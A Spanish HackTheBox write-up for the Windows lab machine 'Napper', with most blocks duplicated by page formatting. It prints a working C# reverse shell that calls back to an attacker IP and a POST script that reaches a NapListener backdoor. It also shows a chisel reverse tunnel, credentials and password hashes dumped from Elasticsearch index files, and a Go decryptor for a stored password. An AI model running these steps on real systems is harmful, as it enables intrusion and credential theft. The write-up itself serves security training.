HackTheBox machines – Napper WriteUp

Napper es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.

En este caso se trata de una máquina basada en el Sistema Operativo Windows.

Índice

Escaneo de puertos

Como de costumbre, agregamos la IP de la máquina Napper 10.129.189.114 a /etc/hosts como napper.htb y comenzamos con el escaneo de puertos nmap.

$ nmap -sS -p- --open --min-rate 1000 -vvv -n -oA enumeration/nmap1 -Pn 10.129.189.114
Nmap scan report for 10.129.189.114
Host is up, received user-set (0.053s latency).
Scanned at 2023-11-14 15:18:40 GMT for 102s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE   REASON
80/tcp   open  http      syn-ack ttl 127
443/tcp  open  https     syn-ack ttl 127
7680/tcp open  pando-pub syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
# Nmap done at Tue Nov 14 15:20:22 2023 -- 1 IP address (1 host up) scanned in 102.50 seconds

$ nmap -sS -p- --open --min-rate 1000 -vvv -n -oA enumeration/nmap1 -Pn 10.129.189.114

Nmap scan report for 10.129.189.114

Host is up, received user-set (0.053s latency).

Scanned at 2023-11-14 15:18:40 GMT for 102s

Not shown: 65532 filtered tcp ports (no-response)

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit

PORT STATE SERVICE REASON

80/tcp open http syn-ack ttl 127

443/tcp open https syn-ack ttl 127

7680/tcp open pando-pub syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap

# Nmap done at Tue Nov 14 15:20:22 2023 -- 1 IP address (1 host up) scanned in 102.50 seconds

Una vez descubiertos los puertos abiertos, lanzamos un escaneo más detallado sobre los mismos.

$ nmap -sCV -p 80,443,7680 -oA enumeration/nmap2 -Pn 10.129.189.114
Nmap scan report for app.napper.htb (10.129.189.114)
Host is up (0.045s latency).

PORT     STATE SERVICE    VERSION
80/tcp   open  http       Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://app.napper.htb
443/tcp  open  ssl/http   Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-generator: Hugo 0.112.3
| tls-alpn: 
|_  http/1.1
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Research Blog | Home 
|_ssl-date: 2023-11-14T15:24:27+00:00; +5s from scanner time.
| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:app.napper.htb
| Not valid before: 2023-06-07T14:58:55
|_Not valid after:  2033-06-04T14:58:55
7680/tcp open  pando-pub?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 4s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov 14 15:24:23 2023 -- 1 IP address (1 host up) scanned in 51.35 seconds

$ nmap -sCV -p 80,443,7680 -oA enumeration/nmap2 -Pn 10.129.189.114

Nmap scan report for app.napper.htb (10.129.189.114)

Host is up (0.045s latency).

PORT STATE SERVICE VERSION

80/tcp open http Microsoft IIS httpd 10.0

|_http-server-header: Microsoft-IIS/10.0

|_http-title: Did not follow redirect to https://app.napper.htb

443/tcp open ssl/http Microsoft IIS httpd 10.0

|_http-server-header: Microsoft-IIS/10.0

|_http-generator: Hugo 0.112.3

| tls-alpn:

|_ http/1.1

| http-methods:

|_ Potentially risky methods: TRACE

|_http-title: Research Blog | Home

|_ssl-date: 2023-11-14T15:24:27+00:00; +5s from scanner time.

| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US

| Subject Alternative Name: DNS:app.napper.htb

| Not valid before: 2023-06-07T14:58:55

|_Not valid after: 2033-06-04T14:58:55

7680/tcp open pando-pub?

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

|_clock-skew: 4s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Tue Nov 14 15:24:23 2023 -- 1 IP address (1 host up) scanned in 51.35 seconds

Enumeración

Accedemos al portal web en el puerto 80 y nos redirecciona al portal app.napper.htb

Revisamos el portal y vemos varios posts en el mismo que hablan de reversing y de diferentes configuraciones a aplicar sobre un IIS, encontramos uno interesante en el cual aparece un comando con lo que podrian ser unas credenciales

New-LocalUser -Name "example" -Password (ConvertTo-SecureString -String "ExamplePassword" -AsPlainText -Force)

1	New-LocalUser -Name "example" -Password (ConvertTo-SecureString -String "ExamplePassword" -AsPlainText -Force)

Vista esta parte, continuamos la enumeración y descubrimos un subdominio nuevo

$ ffuf -u https://napper.htb/ -H "Host: FUZZ.napper.htb" -w /data/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -fs 5602

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://napper.htb/
 :: Wordlist         : FUZZ: /data/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.napper.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 5602
________________________________________________

[Status: 401, Size: 1293, Words: 81, Lines: 30, Duration: 66ms]
    * FUZZ: internal

:: Progress: [114441/114441] :: Job [1/1] :: 457 req/sec :: Duration: [0:03:56] :: Errors: 0 ::

$ ffuf -u https://napper.htb/ -H "Host: FUZZ.napper.htb" -w /data/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -fs 5602

/'___\ /'___\ /'___\

/\ \__/ /\ \__/ __ __ /\ \__/

\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\

\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/

\ \_\ \ \_\ \ \____/ \ \_\

\/_/ \/_/ \/___/ \/_/

v2.0.0-dev

________________________________________________

:: Method : GET

:: URL : https://napper.htb/

:: Wordlist : FUZZ: /data/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt

:: Header : Host: FUZZ.napper.htb

:: Follow redirects : false

:: Calibration : false

:: Timeout : 10

:: Threads : 40

:: Matcher : Response status: 200,204,301,302,307,401,403,405,500

:: Filter : Response size: 5602

________________________________________________

[Status: 401, Size: 1293, Words: 81, Lines: 30, Duration: 66ms]

* FUZZ: internal

:: Progress: [114441/114441] :: Job [1/1] :: 457 req/sec :: Duration: [0:03:56] :: Errors: 0 ::

Añadimos al fichero hosts el dominio internal.napper.htb y accedemos

Pero nos solicita unas credenciales, así que utilizamos las que vimos en el comando mencionado anteriormente.

En este portal vemos otro post, en el cual habla sobre el malware Naplistenner y vemos 3 enlaces en el mismo

https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph

https://malpedia.caad.fkie.fraunhofer.de/details/win.naplistener

https://www.darkreading.com/threat-intelligence/custom-naplistener-malware-network-based-detection-sleep

En los enlaces anteriores vemos una poc de como funciona este malware, iocs y diferentes datos interesantes que nos ayudarán en los siguientes pasos.

Así que revisando los mismos vemos que utiliza la URI

/ews/MsExgHealthCheckd/

1	/ews/MsExgHealthCheckd/

Y le pasa el siguiente parámetro

sdafwe3rwe23

1	sdafwe3rwe23

Por lo que vamos a hacer una prueba para verificar si realmente puede ser un punto de entrada a la máquina y vemos que el curl nos devuelve un 200

$ curl -X POST -d 'sdafwe3rwe23=asdf' https://napper.htb/ews/MsExgHealthCheckd/ -ksS -D -
HTTP/2 200 
content-length: 0
content-type: text/html; charset=utf-8
server: Microsoft-IIS/10.0 Microsoft-HTTPAPI/2.0
x-powered-by: ASP.NET
date: Tue, 14 Nov 2023 15:47:52 GMT

$ curl -X POST -d 'sdafwe3rwe23=asdf' https://napper.htb/ews/MsExgHealthCheckd/ -ksS -D -

HTTP/2 200

content-length: 0

content-type: text/html; charset=utf-8

server: Microsoft-IIS/10.0 Microsoft-HTTPAPI/2.0

x-powered-by: ASP.NET

date: Tue, 14 Nov 2023 15:47:52 GMT

Por lo que siguiendo la poc nos guardamos el script en python que utiliza

import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


hosts=["napper.htb"]
payload = "<>"

form_field=f"sdafwe3rwe23={requests.utils.quote(payload)}"

for h in hosts:
   url_ssl= f"https://{h}/ews/MsExgHealthCheckd/"

   try:
       r_ssl = requests.post(url_ssl, data=form_field, verify=False)
       print(f"{url_ssl} : {r_ssl.status_code} {r_ssl.headers}")
   except KeyboardInterupt:
       exit()
   except Exception as e:
       print("e")
       pass

import requests

from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

hosts=["napper.htb"]

payload = "<>"

form_field=f"sdafwe3rwe23={requests.utils.quote(payload)}"

for h in hosts:

url_ssl= f"https://{h}/ews/MsExgHealthCheckd/"

try:

r_ssl = requests.post(url_ssl, data=form_field, verify=False)

print(f"{url_ssl} : {r_ssl.status_code} {r_ssl.headers}")

except KeyboardInterupt:

exit()

except Exception as e:

print("e")

pass

Vista esta parte, el siguiente paso, será crear una revshell que nos permita acceder a la máquina, así que con alguna que otra búsqueda en google creamos el siguiente fichero

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;

namespace Test
{
    public class Run
    {
        static StreamWriter streamWriter;

        public Run()
        {
            RunMain();
        }

        public static void Main(string[] args)
        {
            new Run();
        }


        public static void RunMain()
        {
            using (TcpClient client = new TcpClient("10.10.14.8", 443))
            {
                using (Stream stream = client.GetStream())
                {
                    using (StreamReader rdr = new StreamReader(stream))
                    {
                        streamWriter = new StreamWriter(stream);

                        StringBuilder strInput = new StringBuilder();

                        Process p = new Process();
                        p.StartInfo.FileName = "powershell.exe";
                        p.StartInfo.CreateNoWindow = true;
                        p.StartInfo.UseShellExecute = false;
                        p.StartInfo.RedirectStandardOutput = true;
                        p.StartInfo.RedirectStandardInput = true;
                        p.StartInfo.RedirectStandardError = true;
                        p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                        p.Start();
                        p.BeginOutputReadLine();

                        while (true)
                        {
                            strInput.Append(rdr.ReadLine());
                            p.StandardInput.WriteLine(strInput);
                            strInput.Remove(0, strInput.Length);
                        }
                    }
                }
            }
        }

        private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { }
            }
        }
    }
}

using System;

using System.Text;

using System.IO;

using System.Diagnostics;

using System.ComponentModel;

using System.Linq;

using System.Net;

using System.Net.Sockets;

namespace Test

{

public class Run

{

static StreamWriter streamWriter;

public Run()

{

RunMain();

}

public static void Main(string[] args)

{

new Run();

}

public static void RunMain()

{

using (TcpClient client = new TcpClient("10.10.14.8", 443))

{

using (Stream stream = client.GetStream())

{

using (StreamReader rdr = new StreamReader(stream))

{

streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();

p.StartInfo.FileName = "powershell.exe";

p.StartInfo.CreateNoWindow = true;

p.StartInfo.UseShellExecute = false;

p.StartInfo.RedirectStandardOutput = true;

p.StartInfo.RedirectStandardInput = true;

p.StartInfo.RedirectStandardError = true;

p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);

p.Start();

p.BeginOutputReadLine();

while (true)

{

strInput.Append(rdr.ReadLine());

p.StandardInput.WriteLine(strInput);

strInput.Remove(0, strInput.Length);

}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)

{

StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))

{

try

{

strOutput.Append(outLine.Data);

streamWriter.WriteLine(strOutput);

streamWriter.Flush();

}

catch (Exception err) { }

}

Compilaremos el mismo con mono-csc

$ mono-csc Test.cs 
Test.cs(74,34): warning CS0168: The variable `err' is declared but never used
Compilation succeeded - 1 warning(s)

$ mono-csc Test.cs

Test.cs(74,34): warning CS0168: The variable `err' is declared but never used

Compilation succeeded - 1 warning(s)

Y obtendremos el exe resultante en base64

$ base64 -w0 Test.exe

1	$ base64 -w0 Test.exe

Introducimos como payload el b64 sacado del anterior comando en nuestro exploit y ejecutaremos

$ python3 exploit.py

1	$ python3 exploit.py

Y obtendremos una revshell con el usuario ruben

$ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.45] from (UNKNOWN) [10.129.189.114] 54482
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
   
PS C:\Windows\system32> whoami
napper\ruben

$ nc -nlvp 443

listening on [any] 443 ...

connect to [10.10.14.45] from (UNKNOWN) [10.129.189.114] 54482

Windows PowerShell

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Windows\system32> whoami

napper\ruben

Obteniendo la flag de user

Vamos al escritorio del usuario y obtenemos la primera flag

PS C:\Windows\system32> cd c:\users\ruben\desktop
PS C:\users\ruben\desktop> dir
    Directory: C:\users\ruben\desktop
Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----          6/7/2023   7:02 AM           2352 Microsoft Edge.lnk                                                   
-ar---        11/13/2023   6:35 PM             34 user.txt                                                             

PS C:\users\ruben\desktop> type user.txt
c41db667e465cc4487820eb6db0690ad

PS C:\Windows\system32> cd c:\users\ruben\desktop

PS C:\users\ruben\desktop> dir

Directory: C:\users\ruben\desktop

Mode LastWriteTime Length Name

---- ------------- ------ ----

-a---- 6/7/2023 7:02 AM 2352 Microsoft Edge.lnk

-ar--- 11/13/2023 6:35 PM 34 user.txt

PS C:\users\ruben\desktop> type user.txt

c41db667e465cc4487820eb6db0690ad

Escalado de privilegios

Continuando con los post anteriores, recordamos que hablaban de elastic, así que vamos a ver que puertos tiene abiertos

PS C:\Windows\system32> netstat -ant|findstr "LISTEN"
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       InHost      
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       InHost      
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING       InHost      
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       InHost      
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       InHost      
  TCP    0.0.0.0:7680           0.0.0.0:0              LISTENING       InHost      
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       InHost      
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       InHost      
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       InHost      
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       InHost      
  TCP    0.0.0.0:61488          0.0.0.0:0              LISTENING       InHost      
  TCP    10.129.163.113:139     0.0.0.0:0              LISTENING       InHost      
  TCP    127.0.0.1:9200         0.0.0.0:0              LISTENING       InHost      
  TCP    127.0.0.1:9300         0.0.0.0:0              LISTENING       InHost      
  TCP    [::]:80                [::]:0                 LISTENING       InHost      
  TCP    [::]:135               [::]:0                 LISTENING       InHost      
  TCP    [::]:443               [::]:0                 LISTENING       InHost      
  TCP    [::]:445               [::]:0                 LISTENING       InHost      
  TCP    [::]:7680              [::]:0                 LISTENING       InHost      
  TCP    [::]:49664             [::]:0                 LISTENING       InHost      
  TCP    [::]:49665             [::]:0                 LISTENING       InHost      
  TCP    [::]:49666             [::]:0                 LISTENING       InHost      
  TCP    [::]:49667             [::]:0                 LISTENING       InHost      
  TCP    [::]:61488             [::]:0                 LISTENING       InHost

PS C:\Windows\system32> netstat -ant|findstr "LISTEN"

TCP 0.0.0.0:80 0.0.0.0:0 LISTENING InHost

TCP 0.0.0.0:135 0.0.0.0:0 LISTENING InHost

TCP 0.0.0.0:443 0.0.0.0:0 LISTENING InHost

TCP 0.0.0.0:445 0.0.0.0:0 LISTENING InHost

TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING InHost

TCP 0.0.0.0:7680 0.0.0.0:0 LISTENING InHost

TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING InHost

TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING InHost

TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING InHost

TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING InHost

TCP 0.0.0.0:61488 0.0.0.0:0 LISTENING InHost

TCP 10.129.163.113:139 0.0.0.0:0 LISTENING InHost

TCP 127.0.0.1:9200 0.0.0.0:0 LISTENING InHost

TCP 127.0.0.1:9300 0.0.0.0:0 LISTENING InHost

TCP [::]:80 [::]:0 LISTENING InHost

TCP [::]:135 [::]:0 LISTENING InHost

TCP [::]:443 [::]:0 LISTENING InHost

TCP [::]:445 [::]:0 LISTENING InHost

TCP [::]:7680 [::]:0 LISTENING InHost

TCP [::]:49664 [::]:0 LISTENING InHost

TCP [::]:49665 [::]:0 LISTENING InHost

TCP [::]:49666 [::]:0 LISTENING InHost

TCP [::]:49667 [::]:0 LISTENING InHost

TCP [::]:61488 [::]:0 LISTENING InHost

Y vemos el puerto 9200 utilizado por esta aplicación, así que vamos a buscar los índices utilizados por la misma

PS C:\Program Files\elasticsearch-8.8.0\data\indices> dir
dir


    Directory: C:\Program Files\elasticsearch-8.8.0\data\indices


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----        11/15/2023   7:03 AM                4JSvApahRUKc6Bk7PCyVmA                                               
d-----        11/14/2023  12:24 PM                n5Gtg7mtSVOUFiVHo9w-Nw                                               
d-----        11/15/2023   7:03 AM                ZJvUpoPyQ9-d8VtbsOVaqA

PS C:\Program Files\elasticsearch-8.8.0\data\indices> dir

dir

Directory: C:\Program Files\elasticsearch-8.8.0\data\indices

Mode LastWriteTime Length Name

---- ------------- ------ ----

d----- 11/15/2023 7:03 AM 4JSvApahRUKc6Bk7PCyVmA

d----- 11/14/2023 12:24 PM n5Gtg7mtSVOUFiVHo9w-Nw

d----- 11/15/2023 7:03 AM ZJvUpoPyQ9-d8VtbsOVaqA

Y, si buscamos en los mismos, obtendremos un usuario y una password

PS C:\Program Files\elasticsearch-8.8.0\data\indices> type *\\0\index\*.cfs | findstr pass
type *\\0\index\*.cfs | findstr pass
?metadata":{},"realm":"__attach"Z▒?}}?reserv?5ed-user-elasticI{"password":"oKHzjZw0EGcRxT2cux5K","enabled":true,"[?reserved-user"}?

                                                                                                                                   ?
                                                                                                                                    ?role-user1?{"cluster":["monitor"],"indices":[{"names":["seed","user*"],"privileges":["read","monitor","write","index","create_index"],"allow_restricted_indices":false}],"applications":[],"run_as":[],"metadata":{},?"type":"role"}?
?user-usper?{"  ?name":"us?er","password":"$2a$?10$JtywqtEW5pUygCdLv?K.Iq.9w3jzApXuHFf6bt?00u2ncuzkTGlpLg2","r?oles":["?1"],"ful?l_name":null,"email"?:null,"metadata":nul?l,"enabled":true,"ty?pe":"user"}?(???y}???lLucene90DocValuesMetadata???*?????fp???
?user-usper?{"  ?name":"us?er","password":"$2a$?10$zdses.5VeJQiuEjr3?jfVS.xcUOF8mdliszNoY?/sNDUMgTbzE2Hlle","r?oles":["?1"],"ful?l_name":null,"email"?:null,"metadata":nul?l,"enabled":true,"ty?pe":"user"}?(????????lLucene90DocValuesMetadata???*?????fp???
?metadata":{},"realm":"__attach"Z▒?}}?reserv?5ed-user-elasticI{"password":"oKHzjZw0EGcRxT2cux5K","enabled":true,"[?reserved-user"}?

                                                                                                                                   ?
                                                                                                                                    ?role-user1?{"cluster":["monitor"],"indices":[{"names":["seed","user*"],"privileges":["read","monitor","write","index","create_index"],"allow_restricted_indices":false}],"applications":[],"run_as":[],"metadata":{},?"type":"role"}?
?user-usper?{"  ?name":"us?er","password":"$2a$?10$zdses.5VeJQiuEjr3?jfVS.xcUOF8mdliszNoY?/sNDUMgTbzE2Hlle","r?oles":["?1"],"ful?l_name":null,"email"?:null,"metadata":nul?l,"enabled":true,"ty?pe":"user"}?(????????lLucene90DocValuesMetadata???*?????fp???
?user-usper?{"  ?name":"us?er","password":"$2a$?10$QIVJ3/g5TJOAeEomZ?4tYPOrcn3kXPECPmfrxw?O.49sGS6M9IOLrJW","r?oles":["?1"],"ful?l_name":null,"email"?:null,"metadata":nul?l,"enabled":true,"ty?pe":"user"}?(???a???lLucene90DocValuesMetadata???*?????fp???

PS C:\Program Files\elasticsearch-8.8.0\data\indices> type *\\0\index\*.cfs | findstr pass

type *\\0\index\*.cfs | findstr pass

?metadata":{},"realm":"__attach"Z▒?}}?reserv?5ed-user-elasticI{"password":"oKHzjZw0EGcRxT2cux5K","enabled":true,"[?reserved-user"}?

?role-user1?{"cluster":["monitor"],"indices":[{"names":["seed","user*"],"privileges":["read","monitor","write","index","create_index"],"allow_restricted_indices":false}],"applications":[],"run_as":[],"metadata":{},?"type":"role"}?

?user-usper?{" ?name":"us?er","password":"$2a$?10$JtywqtEW5pUygCdLv?K.Iq.9w3jzApXuHFf6bt?00u2ncuzkTGlpLg2","r?oles":["?1"],"ful?l_name":null,"email"?:null,"metadata":nul?l,"enabled":true,"ty?pe":"user"}?(???y}???lLucene90DocValuesMetadata???*?????fp???

?user-usper?{" ?name":"us?er","password":"$2a$?10$zdses.5VeJQiuEjr3?jfVS.xcUOF8mdliszNoY?/sNDUMgTbzE2Hlle","r?oles":["?1"],"ful?l_name":null,"email"?:null,"metadata":nul?l,"enabled":true,"ty?pe":"user"}?(????????lLucene90DocValuesMetadata???*?????fp???

?metadata":{},"realm":"__attach"Z▒?}}?reserv?5ed-user-elasticI{"password":"oKHzjZw0EGcRxT2cux5K","enabled":true,"[?reserved-user"}?

?user-usper?{" ?name":"us?er","password":"$2a$?10$QIVJ3/g5TJOAeEomZ?4tYPOrcn3kXPECPmfrxw?O.49sGS6M9IOLrJW","r?oles":["?1"],"ful?l_name":null,"email"?:null,"metadata":nul?l,"enabled":true,"ty?pe":"user"}?(???a???lLucene90DocValuesMetadata???*?????fp???

Seguimos con la enumeración en la máquina y encontramos en el directorio del portal de internal un post que no estaba visible desde la web

PS C:\temp\www\internal\content\posts> type no-more-laps.md
type no-more-laps.md
---
title: "**INTERNAL** Getting rid of LAPS"
description: Replacing LAPS with out own custom solution
date: 2023-07-01
draft: true 
tags: [internal, sysadmin] 
---

# Intro

We are getting rid of LAPS in favor of our own custom solution. 
The password for the `backup` user will be stored in the local Elastic DB.

IT will deploy the decryption client to the admin desktops once it it ready. 

We do expect the development to be ready soon. The Malware RE team will be the first test group.

PS C:\temp\www\internal\content\posts> type no-more-laps.md

type no-more-laps.md

---

title: "**INTERNAL** Getting rid of LAPS"

description: Replacing LAPS with out own custom solution

date: 2023-07-01

draft: true

tags: [internal, sysadmin]

---

# Intro

We are getting rid of LAPS in favor of our own custom solution.

The password for the `backup` user will be stored in the local Elastic DB.

IT will deploy the decryption client to the admin desktops once it it ready.

We do expect the development to be ready soon. The Malware RE team will be the first test group.

En el mismo nos indica que la password del usuario backup se encuentra almacenada en la base de datos local del elastic, por lo que será donde tendremos que buscar, ya que la password vista antes no es válida para el usuario backup.

Seguimos revisando el directorio del portal de internal y encontramos un fichero .env y un ejecutable

PS C:\temp\www\internal\content\posts\internal-laps-alpha> dir
    Directory: C:\temp\www\internal\content\posts\internal-laps-alpha
Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----          6/9/2023  12:28 AM             82 .env                                                                 
-a----          6/9/2023  12:20 AM       12697088 a.exe

PS C:\temp\www\internal\content\posts\internal-laps-alpha> dir

Directory: C:\temp\www\internal\content\posts\internal-laps-alpha

Mode LastWriteTime Length Name

---- ------------- ------ ----

-a---- 6/9/2023 12:28 AM 82 .env

-a---- 6/9/2023 12:20 AM 12697088 a.exe

Revisamos el contenido del fichero env

PS C:\temp\www\internal\content\posts\internal-laps-alpha> type .env
type .env
ELASTICUSER=user
ELASTICPASS=DumpPassword\$Here

ELASTICURI=https://127.0.0.1:9200

PS C:\temp\www\internal\content\posts\internal-laps-alpha> type .env

type .env

ELASTICUSER=user

ELASTICPASS=DumpPassword\$Here

ELASTICURI=https://127.0.0.1:9200

Y descargamos el exe mediante un smb levantado en nuestro kali para su posterior análisis.

Viendo las variables de entorno que carga, esta claro, que tenemos que tirar por ahí, por lo que vamos a levantar chisel para poder acceder al mismo.

Levantamos el servidor en nuestro kali

$ ./chisel server --reverse --port 8000
2023/11/15 14:31:13 server: Reverse tunnelling enabled
2023/11/15 14:31:13 server: Fingerprint gvcfxjzhhQwNfM8jHeR8bwYUw7mx50zMUA5uwB7gaN8=
2023/11/15 14:31:13 server: Listening on http://0.0.0.0:8000

$ ./chisel server --reverse --port 8000

2023/11/15 14:31:13 server: Reverse tunnelling enabled

2023/11/15 14:31:13 server: Fingerprint gvcfxjzhhQwNfM8jHeR8bwYUw7mx50zMUA5uwB7gaN8=

2023/11/15 14:31:13 server: Listening on http://0.0.0.0:8000

Ejecutamos el cliente en la máquina

PS C:\users\ruben> .\chisel.exe client 10.10.14.45:8000 R:9200:127.0.0.1:9200
.\chisel.exe client 10.10.14.45:8000 R:9200:127.0.0.1:9200
2023/11/15 06:32:53 client: Connecting to ws://10.10.14.45:8000
2023/11/15 06:32:53 client: Connected (Latency 117.8368ms)

PS C:\users\ruben> .\chisel.exe client 10.10.14.45:8000 R:9200:127.0.0.1:9200

.\chisel.exe client 10.10.14.45:8000 R:9200:127.0.0.1:9200

2023/11/15 06:32:53 client: Connecting to ws://10.10.14.45:8000

2023/11/15 06:32:53 client: Connected (Latency 117.8368ms)

Y accedemos al mismo a través del navegador

Como no tenemos una gui como tal, vamos a instalar en el navegador el plugin elasticvue y recargamos

Accedemos con las credenciales obtenidas en los índices y vemos la página principal del elastic

Revisamos en detalle el portal y vemos dos índices

seed debe de ser la seed utilizada y user-00001 debe de ser el texto utilizado para el cifrado

Por el momento no podemos hacer mucho más aquí, así que vamos a analizar el binario con ghidra.

Se trata de un binario en golang, así que instalamos el siguiente plugin en ghidra para facilitarnos un poco el trabajo.

Siguiendo el código vemos que para generar la clave utiliza la seed como un número aleatorio, y que cada byte de la clave lo genera como un número aleatorio + 1

Vemos también el comando utilizado

Y el cifrado lo realiza en base64 y posteriormente en AES CFB

Siguiendo los resultados del análisis realizado necesitamos descifrar los datos en el elastic utilizando la última password generada, debido a que esta se regenera cada minuto.

Por lo que después de tiempo pérdido, varias búsquedas en google y alguna que otra ayuda por discord, utilizo el siguiente script para realizar este descifrado

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"fmt"
	"log"
	"math/rand"
	"os"
	"strconv"
)

func checkErr(err error) {
	if err != nil {
		log.Fatal(err)
	}
}

func genKey(seed int) (key []byte) {
	rand.Seed(int64(seed))
	for i := 0; i < 0x10; i++ {
		val := rand.Intn(0xfe)
		key = append(key, byte(val+1))
	}
	return
}

func decrypt(seed int, enc []byte) (data []byte) {
	fmt.Printf("Seed: %v\n", seed)
	key := genKey(seed)
	fmt.Printf("Key: %v\n", key)
	iv := enc[:aes.BlockSize]
	fmt.Printf("IV: %v\n", iv)
	data = enc[aes.BlockSize:]
	
	block, err := aes.NewCipher(key)
	checkErr(err)
	
	stream := cipher.NewCFBDecrypter(block, iv)
	stream.XORKeyStream(data, data)
	fmt.Printf("Plaintext: %s\n", data)
	return
}

func main() {
	if len(os.Args) != 3 {
		return
	}
	seed, err := strconv.Atoi(os.Args[1])
	checkErr(err)
	enc, err := base64.URLEncoding.DecodeString(os.Args[2])
	checkErr(err)
	
	decrypt(seed, enc)
}

package main

import (

"crypto/aes"

"crypto/cipher"

"encoding/base64"

"fmt"

"log"

"math/rand"

"os"

"strconv"

)

func checkErr(err error) {

if err != nil {

log.Fatal(err)

}

func genKey(seed int) (key []byte) {

rand.Seed(int64(seed))

for i := 0; i < 0x10; i++ {

val := rand.Intn(0xfe)

key = append(key, byte(val+1))

}

return

}

func decrypt(seed int, enc []byte) (data []byte) {

fmt.Printf("Seed: %v\n", seed)

key := genKey(seed)

fmt.Printf("Key: %v\n", key)

iv := enc[:aes.BlockSize]

fmt.Printf("IV: %v\n", iv)

data = enc[aes.BlockSize:]

block, err := aes.NewCipher(key)

checkErr(err)

stream := cipher.NewCFBDecrypter(block, iv)

stream.XORKeyStream(data, data)

fmt.Printf("Plaintext: %s\n", data)

return

}

func main() {

if len(os.Args) != 3 {

return

}

seed, err := strconv.Atoi(os.Args[1])

checkErr(err)

enc, err := base64.URLEncoding.DecodeString(os.Args[2])

checkErr(err)

decrypt(seed, enc)

}

Ejecutamos

$ go run decrypt.go 84411745 ojzNm2-LHh432uDbbdK_d_P1gnTTNEiNmyf7fdjG18yuddrQICEqveneer5Q3W8qh4Efr4MjIs4= 
Seed: 84411745
Key: [197 34 93 202 143 95 138 140 208 94 137 34 108 126 2 106]
IV: [162 60 205 155 111 139 30 30 55 218 224 219 109 210 191 119]
Plaintext: VZErqbsDKvWYDTlzMKwRLOnbfXcQePSnMopGNFmY

$ go run decrypt.go 84411745 ojzNm2-LHh432uDbbdK_d_P1gnTTNEiNmyf7fdjG18yuddrQICEqveneer5Q3W8qh4Efr4MjIs4=

Seed: 84411745

Key: [197 34 93 202 143 95 138 140 208 94 137 34 108 126 2 106]

IV: [162 60 205 155 111 139 30 30 55 218 224 219 109 210 191 119]

